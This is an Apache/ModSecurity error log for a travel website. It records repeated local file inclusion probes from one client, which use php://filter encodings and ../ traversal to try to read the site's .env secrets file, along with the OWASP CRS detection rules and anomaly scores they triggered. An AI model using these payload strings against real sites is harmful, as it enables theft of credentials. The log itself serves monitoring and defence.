[Fri Jul 17 08:55:10.929320 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&anything=LQwR_YYpkL7re_kz6Msjjxmzq4yLnBlzsfpvY3bcQdZupOVNw25cmsV-KaBXS5wKj3FPiI1dDoR9XqA8i-PGmkYuipdSypbuPeLYtFuCtQ1rgBc0FHnzkPZ4p-_f_ztiKR-vyI1IuG6cvmkVyGwJMyKTOFl5LSwJFcVEa79F5KqueXhBR5VUo503ieg3J9Hao2Jgs7lPuQ1cBKc0baPhiaOhiyCZyg8GJIE_gEd1Bz8hacUdvjinWv8XU4-rbUO0aZ3v0D3AKLnPpN4d3Ohqtn4s&sid=VIMTI5TYXPXUC7UWQ4HQ2NUCEEIZ64YDPEZX26PL7ZDJQAUO6WN4NOAPOUXFKW4R73ZMTXJ7OMEUCU4GQE4XGBA5Z..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uwAAAAw"]
[Fri Jul 17 08:55:10.929387 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/zlib.deflate/convert.base64-encode/resource=../../.env&anything=lqwr_yypkl7re_kz6msjjxmzq4ylnblzsfpvy3bcqdzupovnw25cmsv-kabxs5wkj3fpii1ddor9xqa8i-pgmkyuipdsypbupelytfuctq1rgbc0fhnzkpz4p-_f_ztikr-vyi1iug6cvmkvygwjmyktofl5lswjfcvea79f5kquexhbr5vuo503ieg3j9hao2jgs7lpuq1cbkc0baphiaohiyczyg8gjie_ged1bz8hacudvjinwv8xu4-rbuo0az3v0d3aklnppn4d3ohqtn4s&sid=vimti5tyxpxuc7uwq4hq2nuceeiz64ydpezx26pl7zdjqauo6wn4noapouxfkw4r73zmtxj7omeucu4gqe4xgba5z..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uwAAAAw"]
[Fri Jul 17 08:55:10.929413 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&page=php%3A%2F%2Ffilter%2Fzlib.deflate%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F..%2F.env&ts=EIPRambrTT7xsyolGzi1JnwY6qAjrpgl5jdaosTt2yFq5E9QIWwuQ2CqQ77EW5rtQFSUfeSV7BM8VtR-ZkzIVy-MYjYFbGDcytSoBnMJFJRjhvFxZxnI3j4m-9u1QD6ZaO8ohZ9LTHBcH1uie6kdFaeE433wRrRAkxUY9JequqlZ7c-Ou9q2-Wrsu0g2MrQgS_T1hv8e5-LLjA9QPNwLLQrfvzoifv0khNpLXnu-IJgQqsLLjghdy6dUmXgnNmOHINaWUqzOXjoeog0ns9DYfMnz&debug=IIJZSBKL5DNYK65HJXN2M6DOGRKVK5TOOEFEYKWAUMUNZMAG6DWYE4ASXPKI2O..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKAAAAAc"]
[Fri Jul 17 08:55:10.929430 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uwAAAAw"]
[Fri Jul 17 08:55:10.929464 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKAAAAAc"]
[Fri Jul 17 08:55:10.929477 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uwAAAAw"]
[Fri Jul 17 08:55:10.929537 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ts=EIPRambrTT7xsyolGzi1JnwY6qAjrpgl5jdaosTt2yFq5E9QIWwuQ2CqQ77EW5rtQFSUfeSV7BM8VtR-ZkzIVy-MYjYFbGDcytSoBnMJFJRjhvFxZxnI3j4m-9u1QD6ZaO8ohZ9LTHBcH1uie6kdFaeE433wRrRAkxUY9JequqlZ7c-Ou9q2-Wrsu0g2MrQgS_T1hv8e5-LLjA9QPNwLLQrfvzoifv0khNpLXnu-IJgQqsLLjghdy6dUmXgnNmOHINaWUqzOXjoeog0ns9DYfMnz&debug=IIJZSBKL5DNYK65HJXN2M6DOGRKVK5TOOEFEYKWAUMUNZMAG6DWYE4ASXPKI2O5XB7W7KY64RST7HTINR63HCYRD5I..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKAAAAAc"]
[Fri Jul 17 08:55:10.929602 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&page=php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env&ts=eiprambrtt7xsyolgzi1jnwy6qajrpgl5jdaostt2yfq5e9qiwwuq2cqq77ew5rtqfsufesv7bm8vtr-zkzivy-myjyfbgdcytsobnmjfjrjhvfxzxni3j4m-9u1qd6zao8ohz9lthbch1uie6kdfaee433wrrrakxuy9jequqlz7c-ou9q2-wrsu0g2mrqgs_t1hv8e5-llja9qpnwllqrfvzoifv0khnplxnu-ijgqqslljghdy6dumxgnnmohinawuqzoxjoeog0ns9dyfmnz&debug=iijzsbkl5dnyk65hjxn2m6dogrkvk5tooefeykwaumunzmag6dwye4asxpki2o5xb7w7ky64rst7htinr63hcyrd5i..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKAAAAAc"]
[Fri Jul 17 08:55:10.929675 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKAAAAAc"]
[Fri Jul 17 08:55:10.929715 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:page: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKAAAAAc"]
[Fri Jul 17 08:55:10.929989 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/zlib.deflate/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uwAAAAw"]
[Fri Jul 17 08:55:10.930215 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:page. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:page: php://filter/zlib.deflate/convert.base64-encode/resource=../../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKAAAAAc"]
[Fri Jul 17 08:55:10.931578 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglol9vhFBGA6D8l95uwAAAAw"]
[Fri Jul 17 08:55:10.931718 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgllh1WDijTxd1xw5MKAAAAAc"]
[Fri Jul 17 08:55:10.931776 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.931861 2026] [hostinglimits:warn] [pid 2013797:tid 2013797] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013797) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.931923 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: %2F..%2F found within REQUEST_URI_RAW: /?raw=1&include=php%3A%2F%2Ffilter%2Fconvert.base64-encode%2Fresource%3D..%2F..%2F.env&debug=5FeGlz39ogP1xYCj3tLs8njGmPpd7lLLnJ5YOrQK15d0KOY08_lN4dIts20j-rT5lUerWKdtBXKgHD87pFdVNGPfgqkcDrsn-dVN9EoCnrSgV08Q2xkOBXGe1eFYgnnZwPPSqXOog7ST4oKYfQZ7fpFUbclCM3d7NRbuMsP4natGEuN54YTvkeJcy3aSCkUmxnb0XmSZtS1xnvodkadITE6bkrUwAvT9xYrNnFL7Aamp-c0LMEqDf4pcRTK5mldSW_Vhdgqmd4OnRfhIMYInOQfv&ts=MF5Y7LBQ35LCUHZ7HFWUQKR6T4UFU6PWKN7TFCN5PUHVAEC7OVBPFKN5IG6EIKPOO2GRHL5A5NCYCMJ..."] [severity "CRITICAL"] [ver "OWAS [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8ewAAABA"]
[Fri Jul 17 08:55:10.931968 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8ewAAABA"]
[Fri Jul 17 08:55:10.932032 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.base64-encode/resource=../../.env&debug=5FeGlz39ogP1xYCj3tLs8njGmPpd7lLLnJ5YOrQK15d0KOY08_lN4dIts20j-rT5lUerWKdtBXKgHD87pFdVNGPfgqkcDrsn-dVN9EoCnrSgV08Q2xkOBXGe1eFYgnnZwPPSqXOog7ST4oKYfQZ7fpFUbclCM3d7NRbuMsP4natGEuN54YTvkeJcy3aSCkUmxnb0XmSZtS1xnvodkadITE6bkrUwAvT9xYrNnFL7Aamp-c0LMEqDf4pcRTK5mldSW_Vhdgqmd4OnRfhIMYInOQfv&ts=MF5Y7LBQ35LCUHZ7HFWUQKR6T4UFU6PWKN7TFCN5PUHVAEC7OVBPFKN5IG6EIKPOO2GRHL5A5NCYCMJGWWRKT6WLH7PHWJ7BUQCABYB..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8ewAAABA"]
[Fri Jul 17 08:55:10.932113 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at REQUEST_URI. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI: /?raw=1&include=php://filter/convert.base64-encode/resource=../../.env&debug=5feglz39ogp1xycj3tls8njgmppd7lllnj5yorqk15d0koy08_ln4dits20j-rt5luerwkdtbxkghd87pfdvngpfgqkcdrsn-dvn9eocnrsgv08q2xkobxge1efygnnzwppsqxoog7st4okyfqz7fpfubclcm3d7nrbumsp4natgeun54ytvkejcy3asckumxnb0xmszts1xnvodkadite6bkruwavt9xyrnnfl7aamp-c0lmeqdf4pcrtk5mldsw_vhdgqmd4onrfhimyinoqfv&ts=mf5y7lbq35lcuhz7hfwuqkr6t4ufu6pwkn7tfcn5puhvaec7ovbpfkn5ig6eikpoo2grhl5a5ncycmjgwwrkt6wlh7phwj7buqcabyb..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8ewAAABA"]
[Fri Jul 17 08:55:10.932172 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8ewAAABA"]
[Fri Jul 17 08:55:10.932214 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:^|[\\\\/])\\\\.\\\\.(?:[\\\\/]|$)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "72"] [id "930110"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within ARGS:include: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8ewAAABA"]
[Fri Jul 17 08:55:10.932393 2026] [security2:error] [pid 1993572:tid 1993572] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglol9vhFBGA6D8l95uwAAAAw"]
[Fri Jul 17 08:55:10.932717 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)php://(?:std(?:in|out|err)|(?:in|out)put|fd|memory|temp|filter)" at ARGS:include. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "198"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://filter found within ARGS:include: php://filter/convert.base64-encode/resource=../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8ewAAABA"]
[Fri Jul 17 08:55:10.934245 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 35)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almglkkXT4NBqALj2lZ8ewAAABA"]
[Fri Jul 17 08:55:10.934403 2026] [hostinglimits:warn] [pid 2018757:tid 2018757] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018757) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:10.934771 2026] [security2:error] [pid 2013797:tid 2013797] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgllh1WDijTxd1xw5MKAAAAAc"]
[Fri Jul 17 08:55:10.934833 2026] [security2:error] [pid 2018757:tid 2018757] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 35 - SQLI=0,XSS=0,RFI=0,LFI=30,RCE=0,PHPI=5,HTTP=0,SESS=0): individual paranoia level scores: 35, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almglkkXT4NBqALj2lZ8ewAAABA"]
